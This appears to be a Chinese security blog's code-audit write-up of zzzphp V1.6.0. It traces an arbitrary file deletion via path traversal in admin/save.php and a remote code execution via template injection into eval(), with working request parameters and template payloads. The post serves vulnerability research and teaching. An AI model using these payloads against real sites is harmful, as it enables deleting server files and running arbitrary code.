前言
zzzcms系统是一款免费、开源的php语言建站系统,采用类MVC结构,框架简单,简单易学。诞生于2016年,其设计初衷是为了让用户快速、方便地建立自己的网站。该系统采用PHP语言开发,支持多相对于其他内容管理系统,ZZZCMS的特点在于其操作简单,易于上手,而且具有良好的扩展性和安全性。此外,ZZZCMS还提供了丰富的功能模块,包括文章管理、分类管理、标签管理、留言管理、友情链接管理等,可以满足大多数用户的需求。同时,ZZZCMS还提供了强大的SEO优化功能,可以帮助用户提高网站的排名,吸引更多的流量。支持MySQL、sQLite数据库。
安装
下载源代码,然后访问首页,如果没有安装的话,默认会跳转到install下面进行安装
if ($conf['isinstall']==0) error('很抱歉!程序未安装, <span id=time></span>即将进入安装界面',SITE_PATH.'install/');
![图片[1]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd205118.png)
按提示配置好信息即可
![图片[2]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd205153.png)
任意文件删除
现在我们需要审计的任意文件删除,这个功能通常使用的php函数是unlink,进行全局搜索
我们在zzz_file.php中找到,查看相关代码
function del_file( $file ) {
if ( is_null( $file ) ) return FALSE;
$file = is_file( $file ) ? $file : $_SERVER[ 'DOCUMENT_ROOT' ] . $file;
if ( is_file( $file ) ) {
if (ifstrin( $file,'runtime')){
unlink( $file );
}else{
$ext = file_ext( $file );
if ( in_array( $ext, array( 'php', 'db', 'mdb', 'tpl' ) ) ) return FALSE;
if ( !unlink( $file ) ) {
$r = @rename( $file, randname() );
}
}
}
}
虽有好几个函数调用unlink函数,通过跟踪,只有del_file函数存在我们可控的变量
查看del_file函数都在哪里被引用,通过搜索,我们在sava.php文件中找到该函数,继续分析
function delfile(){
$file=getform('path','post');
$file_path=file_path($file);
$safe_path=array('upload','template','runtime','backup');
if(arr_search($file_path,$safe_path)){
$file=$_SERVER['DOCUMENT_ROOT'].$file;
return del_file($file);
}
}
这里面有几个函数我们也需要进行跟踪
getform函数 可以看到这个是选择请求方式
function getform( $name, $source = 'both', $type = NULL, $default = NULL ) {
switch ( $source ) {
case 'post':
$data = _POST( $name );
break;
case 'get':
$data = _GET( $name );
break;
case 'both':
$data = _POST( $name ) ? : _GET( $name );
break;
file_path函数 获取路径中的文件名
// 获取路径中的路径
function file_path( $path ) {
$list=array();
$path= substr( $path, 0, strrpos( $path, '/' ));
$list=splits($path,'/');
return $list;
}
arr_search函数 比较两个数组,是否有重复,重复则返回true
// 比较两个数组,是否有重复,重复则返回true
function arr_search($arr1, $arr2 ) {
$result=false;
foreach ( $arr1 as $v ) {
if(in_array( $v,$arr2 )) return true;
}
return $result;
}
连起来可以知道,通过调用函数delfile,然后在函数里面使用post进行传参,参数为path
现在的问题就是什么地方存在调用delfile函数的,继续查找
可以发现存在这样的调用方式
$act=safe_word(getform('act','get'));
$id=isnum(getform('id','both'));
$table=safe_word(getform('table','post'),10);
$type=safe_word(getform('type','both'),10);
switch ($act) {
case 'about': return save_about(); break;
case 'ad': return save_ad(); break;
case 'admingroup': return save_admingroup(); break;
case 'backup': return backup(); break;
case 'brand': return save_brand(); break;
case 'content': return save_content(); break;
case 'copyid': return copy_id(); break;
case 'custom': return save_custom(); break;
case 'delall': return db_delete($table,'recy');break;
case 'delallfile': return delallfile($type); break;
case 'delfile': return delfile(); break;
case 'delid': return db_delete($table,$id); break;
case 'delcustom': return del_custom(); break;
在后台save.php文件中,使用get进行act传参,当参数等于delfile时,即可调用函数delfile()
利用:
http://localhost/zzzcms/admin/save.php?act=delfile
post传参: path=1.txt
可以发现并没有成功删除文件,这时我们需要注意这一句代码
$safe_path=array('upload','template','runtime','backup');
if(arr_search($file_path,$safe_path)){
$file=$_SERVER['DOCUMENT_ROOT'].$file;
return del_file($file);
}
当path中存在以上关键词,才会进入del_file函数,这样我们就加上upload
http://localhost/zzzcms/admin/save.php?act=delfile
post传参: path=/upload/../1.txt
![图片[3]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd210935.png)
成功删除文件
远程代码执行漏洞分析
漏洞复现
登录后台 -> 模板管理 -> 模板管理
![图片[4]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd111806.png)
依次选择 cn2016 -> html -> search.html
![图片[5]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd111911.png)
访问:http://127.0.0.1/zzzcms/search/
![图片[6]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd111931.png)
漏洞原理
因为我们知道存在这样一个漏洞,这里就直接使用关键词进行搜索了eval(
可以定位到函数文件:inc\zzz_template.php
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
这是一个正则匹配,根据上面代码的意思,就是只有匹配成功才可以执行,举例:
{if:assert($_request[phpinfo()])}phpinfo();{end if}
当然也可以简单点的 {if:1)phpinfo();//}{end if}
现在匹配规则知道了,就要寻找漏洞触发点在什么地方,继续往上看,可以发现这是一个类,通过搜搜类名ParserTemplate,我们可以跟踪到调用函数文件有,inc\zzz_client.php、admin\save.php
依次查看,可以发现相关代码都是:
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
$zcontent=str_replace('[login:type]',$logintype,$zcontent);
$zcontent=str_replace('[login:backurl]',$backurl,$zcontent);
通过调用类,然后传入解析参数,进行正则匹配执行
这里需要注意的就是他的判断逻辑,依次满足就可以
这里直接参考大佬的文章,以search.php文件进行审计
<?php
define('LOCATION', 'search');
require dirname(dirname(__FILE__)). '/inc/zzz_client.php';
因为这个路由关系和其他的都不一样,方便我们学习
从这也可以跟踪到上面的文件地址/inc/zzz_client.php
接着就是通过正则,让他执行我们的代码即可
当然这里我们修改其他文件,然后根据以下代码也可以执行
// 解析循环调节参数
private
function parserlocation( $zcontent ) {
$location = G( 'location' );
switch ( $location ) {
case 'about':
$zcontent = $this->parserAbout( $zcontent );
break;
case 'brand':
$zcontent = $this->parserBrand( $zcontent );
break;
case 'content':
$zcontent = $this->parserContent( $zcontent );
break;
case 'search':
$zcontent = $this->parserSearch( $zcontent );
break;
case 'sublist':
case 'list':
$zcontent = $this->parserList( $zcontent );
break;
case 'taglist':
$tag = db_select( 'tag', 't_name', "t_enname='" . G( 'sid' ) . "'" );
$tag = isset( $tag ) ? $tag : '无效';
$GLOBALS[ 'sid' ] = '-1';
$zcontent = str_replace( '{zzz:tag}', $tag, $zcontent );
$zcontent = $this->parserList( $zcontent );
break;
}
return $zcontent;
}
这里我们以about文件进行测试:
![图片[7]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd112951.png)
![图片[8]-【代码审计】zzzphp V1.6.0 php语言建站系统 任意文件删除、远程代码执行漏洞分析审计-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd112937.png)
OK
总结
对应任意文件删除漏洞挖掘主要是查看删除函数,然后跟踪存在我们可以控制参数的地方,然后查看是否存在过滤,仔细点就可以发现















请登录后查看评论内容